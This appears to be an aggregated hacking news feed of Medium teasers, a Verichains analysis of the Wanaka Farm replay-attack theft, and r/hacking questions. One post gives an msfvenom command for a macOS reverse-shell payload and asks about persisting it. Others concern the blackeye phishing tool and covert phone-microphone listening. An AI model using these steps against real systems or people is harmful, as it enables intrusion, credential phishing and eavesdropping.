Common Bugs found in File Upload Functions
https://mikekitckchan.medium.com/common-bugs-found-in-file-upload-functions-fa9990ab404a?source=rss------bug_bounty-5

___________________________
@hacking_Attack
@Hacking_Video

File upload is a function commonly founded in web app. You may find it in social network app, job seeking app etc. Also, it is one of the…Continue reading on Medium » (https://mikekitckchan.medium.com/common-bugs-found-in-file-upload-functions-fa9990ab404a?source=rss------bug_bounty-5)

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
TryHackMe: Mnemonic - Writeup

https://cdn-images-1.medium.com/max/1220/1*OX5OZFYwmwf1ZSmvtx39bA.png
Hello! This is a writeup for the room Mnemonic from TryHackMe. The room is medium-difficulty rated. Let’s begin.

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Common Bugs found in File Upload Functions

https://cdn-images-1.medium.com/max/2600/0*6RGQkuXZlMg9un54
File upload is a function commonly founded in web app. You may find it in social network app, job seeking app etc. Also, it is one of the…

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Read this before you use Firebase for sensitive data

https://cdn-images-1.medium.com/max/2600/0*_Fzvy1zMCzQMeEKU
Firebase is great. As a back end environment, it’s easy to set up, well secured, and very flexible. We’re big fans of it.

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Why the ‘Basement Hacker’ Stereotype Is Wrong — and Dangerous

https://cdn-images-1.medium.com/max/1327/1*nH5o7ZXLPxOfBOF6N7jc1A.png
I recently sat down to think and write about a common stereotype in the security industry — that of the “basement hacker.” You know, the…

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

https://external-preview.redd.it/R9iuTX_UmgpLGsI5GoicTlAASRtUVo9E3NGabgbz760.jpg?width=640&crop=smart&auto=webp&s=d5b4cbcdf53d754e34389ccdf8b566c94dcaafca Original article in Vietnamese

NFT is becoming a hot trend in this DeFi world with the major success of Axie Infinity and many other NFT games. Verichains Lab has audited many NFT games, and the team is actively observing the GameFi market.

Wanaka Farm is a farm game with high user expectations. However, during alpha and beta testing, users have reported many critical bugs in-game related to withdrawing and depositing crypto. Below is an analysis done by Verichains Lab and BShield, a security startup for mobile systems' apps, about an attack targeting Wanaka Farm that allowed the hacker to steal over a million USD.

TLDR

The hacker abused the delay while transactions were being confirmed in the blockchain to perform a replay attack on the backend API. Those actions led to the backend API calling smart contract multiple times. The attacker had used this bug to steal more than $500,000 in just a few hours.

Wanaka Farm was officially released on 29th October 2021. The release happened just after reports about withdrawing/depositing funds came in, which led to a maintenance announcement. After two days, they announced that the bug was fixed.

​

https://preview.redd.it/mxi6tf57qd181.png?width=746&format=png&auto=webp&s=cea7f603fc094d1fe51b881925f0dd6ba5b1fd98

Then the developers announced an extended maintenance that lasted for weeks but kept the marketplace open.

​

https://preview.redd.it/ldzy1o3ord181.png?width=711&format=png&auto=webp&s=6fb69b5d227e1e4dab66dbb0162246f2a2fec204

However, on 11th November, the hacker abused the same bug again to pocket over $400,000. After we inspected the transaction, we found out that they created 500 addresses (to retrieve funds) to exploit that bug.

Link of this transaction: https://bscscan.com/tx/0x9bd6611c36ee393d0a3fad938911c2b91db743f3851e392e2d22c89421bcf7b2

What did the hacker do?

1. They've created 500 crypto retrieving addresses and distributed 1.188 BNB equally on all of those addresses, and each would get about 0.02 BNB. Then, they sent WANA tokens to one of the addresses (can be any).
2. On that same address, they deposited WANA into contract 0x164664fcf89f3b722bcba6f02f2c9e3b9081c2a1. After doing that, they withdrew 5-7 times. The token amount then experienced a boom that increased the amount by 5-7 times, although the hacker only deposited once.
3. Send the original token amount to another retrieving address, and send the amount collected through the deposit bug to the main wa[...]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Is the encryption method I thought good?

I am not even a hacker. I am just a programmer who loves reading about hacking and security in general. Recently, I thought of this encryption method, I know I am probably missing something otherwise company would be using it.

So you know how a company's data is breached and passwords are leaked. Hackers were able to crack passwords because they were simple and they had found the hash.

What if all the company let's say add a 20 digit alphanumeric string after a password *before* encrypting it. While decryption, just remove last 20 digits.

submitted by /u/MeIsYguy
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Is it possible to break into a locked phone without deleting its data?

Say my phone is stolen, is it possible for a thief to get into my phone and read my messages and notes etc..? Just a regular thief/hacker with a regular pc/laptop (not a state level professional)

Would like to know for both androind and iPhones

submitted by /u/guykehat
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Mac OS reverse shell terminal application always open?

So I created a OS X/x64/meterpreter/reverse_tcp msfvenom payload using

Msfvenom -p “payload” lhost lport -f macho > macho.out

I got it on my Mac and had to use chmod +x “payload” to make it runnable and when I run it everything works but the terminal window I used to run it is open and you can’t close Terminal anyway around this. Also I plan on making a launch daemon for it will the terminal window be open when it runs as well?

submitted by /u/alotofquestionsforyk
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Zero-day affecting Windows 11, Windows 10, and Windows Server lets anyone gain administrator privileges

https://external-preview.redd.it/8Dy7jLLK0NAKeGXJjsWTAilOSzg0EAwVqgqPL_AA684.jpg?width=640&crop=smart&auto=webp&s=e467d3d37c00208901a29dc6668cfde9b6d7cf7a submitted by /u/fatrat957
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Having trouble with blackeye

Ive done everything correctly, however its blank next to where the link is supposed to be.

Im pretty sure I have ngrok installed correctly, as well as php.

Im using ubuntu and I am very new to this.

submitted by /u/GhostxKitten
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Microphone?

So I don't even know if this is the right place to ask this but how would one have his mic on his phone on and listen to what it takes up in a pair of wireless headphones while the phone is in another room?

I understand if I can't get an answer as I might do things I'm not allowed to do but would appreciate an answer of some kind at least.

submitted by /u/PacEffect
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

Whispers - Identify Hardcoded Secrets In Static Structured Text
http://www.kitploit.com/2021/11/whispers-identify-hardcoded-secrets-in.html

___________________________
@hacking_Attack
@Hacking_Video